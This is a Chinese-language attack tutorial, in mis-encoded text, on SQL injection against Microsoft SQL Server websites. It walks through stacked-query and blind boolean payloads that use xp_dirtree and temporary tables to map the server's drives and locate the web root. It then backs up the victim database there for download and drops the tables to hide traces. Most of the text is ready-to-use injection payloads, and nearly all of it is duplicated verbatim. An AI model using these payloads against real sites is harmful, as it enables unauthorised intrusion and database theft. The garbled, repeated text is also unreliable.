本文章針對(duì)以下環(huán)境,如果不符合以下的條件,就不適合用下面提到的方法來獲得WEB根目錄。
1、SQL SERVER允許執(zhí)行多行語(yǔ)句;
2、該網(wǎng)站能進(jìn)行注入;
3、沒有返回詳細(xì)的錯(cuò)誤提示信息(否則沒有必要用這種方法)。
根據(jù)經(jīng)驗(yàn),猜疑WEB根目錄的順序是:d盤、e盤、c盤,首先我們建立一個(gè)臨時(shí)表用于存放master..xp_dirtree(適合于public)生成的目錄樹,用以下語(yǔ)句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。然后執(zhí)行xp_dirtree獲得D盤的目錄樹,語(yǔ)句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在進(jìn)行下面的操作前,先查看D盤有幾個(gè)文件夾,這樣對(duì)D盤有個(gè)大致的了解,語(yǔ)句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','
WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數(shù)字(數(shù)字=0、1、2、3...)
接著,我們?cè)趯?duì)方的網(wǎng)站上找?guī)讉€(gè)一級(jí)子目錄,如user、photo,然后,用篩選的方法來判斷WEB根目錄上是否存在此盤上,語(yǔ)句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看語(yǔ)句的返回結(jié)果,如果為真,表示W(wǎng)EB根目錄有可能在此盤上,為了進(jìn)一步確認(rèn),多測(cè)試幾個(gè)子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
如果所有的測(cè)試結(jié)果都為真,表示W(wǎng)EB根目錄很有可能在此盤上。
下面假設(shè)找到的WEB根目錄在此盤上,用以下的語(yǔ)句來獲得一級(jí)子目錄的深度:
and (select depth from temp where dir='user')>=數(shù)字(數(shù)字=1、2、3...)
假設(shè)得到的depth是3,說明user目錄是D盤的3級(jí)目錄,則WEB根目錄是D盤的二級(jí)目錄。
目前我們已經(jīng)知道了根目錄所在的盤符和深度,要找到根目錄的具體位置,我們來從D盤根目錄開始逐一搜尋,當(dāng)然,沒有必要知道每個(gè)目錄的名稱,否則太耗費(fèi)時(shí)間了。
接下來,另外建立一個(gè)臨時(shí)表,用來存放D盤的1級(jí)子目錄下的所有目錄,語(yǔ)句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把從D盤的第一個(gè)子目錄下的所有目錄存到temp1中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information'
,'WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤的第二個(gè)子目錄下的所有目錄存到temp1中,只需把第二個(gè)top 1改為top 2就行了。
現(xiàn)在,temp1中已經(jīng)保存了所有D盤第一級(jí)子目錄下的所有目錄,然后,我們用同樣的方法來判斷根目錄是否在此一級(jí)子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回為真,表示根目錄可能在此子目錄下,記住要多測(cè)試幾個(gè)例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然后我們?cè)谟猛瑯拥姆椒▉慝@得D盤第2、3...個(gè)子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內(nèi)容刪除。
現(xiàn)在假設(shè),WEB根目錄在D盤的第一級(jí)子目錄下,該子目錄名稱為website,怎樣獲得這個(gè)目錄的名稱我想不用我說了吧。因?yàn)榍懊嫖覀冎懒薟EB根目錄的深度為2,我們需要知道website下到底哪個(gè)才是真正的WEB根目錄。
現(xiàn)在,我們用同樣的方法,再建立第3個(gè)臨時(shí)表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把從D盤的website下的所有目錄存到temp2中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information'
,'WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤的website下第二個(gè)子目錄下的所有目錄存到temp2中,只需把第二個(gè)top 1改為top 2就行了。
現(xiàn)在,我們用同樣的方法判斷該目錄是否為根目錄:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回為真,為了確定我們的判斷,多測(cè)試幾個(gè)例子,方法上面都講到了,如果多個(gè)例子都返回為真,那么就確定了該目錄為WEB根目錄。
用以上的方法基本上可以獲得WEB根目錄,現(xiàn)在我們假設(shè)WEB根目錄是:D:\website\www
然后,我們就可以備份當(dāng)前數(shù)據(jù)庫(kù)到這個(gè)目錄下用來下載。備份前我們把temp、temp1、temp2的內(nèi)容清空,然后C、D、E盤的目錄樹分別存到temp、temp1、temp2中。
下載完數(shù)據(jù)庫(kù)后要記得把三個(gè)臨時(shí)表DROP掉,現(xiàn)在我們?cè)谙螺d的數(shù)據(jù)庫(kù)中可以找到所有的目錄列表,包括后臺(tái)管理的目錄以及更多信息。
1、SQL SERVER允許執(zhí)行多行語(yǔ)句;
2、該網(wǎng)站能進(jìn)行注入;
3、沒有返回詳細(xì)的錯(cuò)誤提示信息(否則沒有必要用這種方法)。
根據(jù)經(jīng)驗(yàn),猜疑WEB根目錄的順序是:d盤、e盤、c盤,首先我們建立一個(gè)臨時(shí)表用于存放master..xp_dirtree(適合于public)生成的目錄樹,用以下語(yǔ)句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。然后執(zhí)行xp_dirtree獲得D盤的目錄樹,語(yǔ)句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在進(jìn)行下面的操作前,先查看D盤有幾個(gè)文件夾,這樣對(duì)D盤有個(gè)大致的了解,語(yǔ)句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','
WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數(shù)字(數(shù)字=0、1、2、3...)
接著,我們?cè)趯?duì)方的網(wǎng)站上找?guī)讉€(gè)一級(jí)子目錄,如user、photo,然后,用篩選的方法來判斷WEB根目錄上是否存在此盤上,語(yǔ)句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看語(yǔ)句的返回結(jié)果,如果為真,表示W(wǎng)EB根目錄有可能在此盤上,為了進(jìn)一步確認(rèn),多測(cè)試幾個(gè)子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
如果所有的測(cè)試結(jié)果都為真,表示W(wǎng)EB根目錄很有可能在此盤上。
下面假設(shè)找到的WEB根目錄在此盤上,用以下的語(yǔ)句來獲得一級(jí)子目錄的深度:
and (select depth from temp where dir='user')>=數(shù)字(數(shù)字=1、2、3...)
假設(shè)得到的depth是3,說明user目錄是D盤的3級(jí)目錄,則WEB根目錄是D盤的二級(jí)目錄。
目前我們已經(jīng)知道了根目錄所在的盤符和深度,要找到根目錄的具體位置,我們來從D盤根目錄開始逐一搜尋,當(dāng)然,沒有必要知道每個(gè)目錄的名稱,否則太耗費(fèi)時(shí)間了。
接下來,另外建立一個(gè)臨時(shí)表,用來存放D盤的1級(jí)子目錄下的所有目錄,語(yǔ)句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把從D盤的第一個(gè)子目錄下的所有目錄存到temp1中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information'
,'WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤的第二個(gè)子目錄下的所有目錄存到temp1中,只需把第二個(gè)top 1改為top 2就行了。
現(xiàn)在,temp1中已經(jīng)保存了所有D盤第一級(jí)子目錄下的所有目錄,然后,我們用同樣的方法來判斷根目錄是否在此一級(jí)子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回為真,表示根目錄可能在此子目錄下,記住要多測(cè)試幾個(gè)例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然后我們?cè)谟猛瑯拥姆椒▉慝@得D盤第2、3...個(gè)子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內(nèi)容刪除。
現(xiàn)在假設(shè),WEB根目錄在D盤的第一級(jí)子目錄下,該子目錄名稱為website,怎樣獲得這個(gè)目錄的名稱我想不用我說了吧。因?yàn)榍懊嫖覀冎懒薟EB根目錄的深度為2,我們需要知道website下到底哪個(gè)才是真正的WEB根目錄。
現(xiàn)在,我們用同樣的方法,再建立第3個(gè)臨時(shí)表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把從D盤的website下的所有目錄存到temp2中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information'
,'WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤的website下第二個(gè)子目錄下的所有目錄存到temp2中,只需把第二個(gè)top 1改為top 2就行了。
現(xiàn)在,我們用同樣的方法判斷該目錄是否為根目錄:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回為真,為了確定我們的判斷,多測(cè)試幾個(gè)例子,方法上面都講到了,如果多個(gè)例子都返回為真,那么就確定了該目錄為WEB根目錄。
用以上的方法基本上可以獲得WEB根目錄,現(xiàn)在我們假設(shè)WEB根目錄是:D:\website\www
然后,我們就可以備份當(dāng)前數(shù)據(jù)庫(kù)到這個(gè)目錄下用來下載。備份前我們把temp、temp1、temp2的內(nèi)容清空,然后C、D、E盤的目錄樹分別存到temp、temp1、temp2中。
下載完數(shù)據(jù)庫(kù)后要記得把三個(gè)臨時(shí)表DROP掉,現(xiàn)在我們?cè)谙螺d的數(shù)據(jù)庫(kù)中可以找到所有的目錄列表,包括后臺(tái)管理的目錄以及更多信息。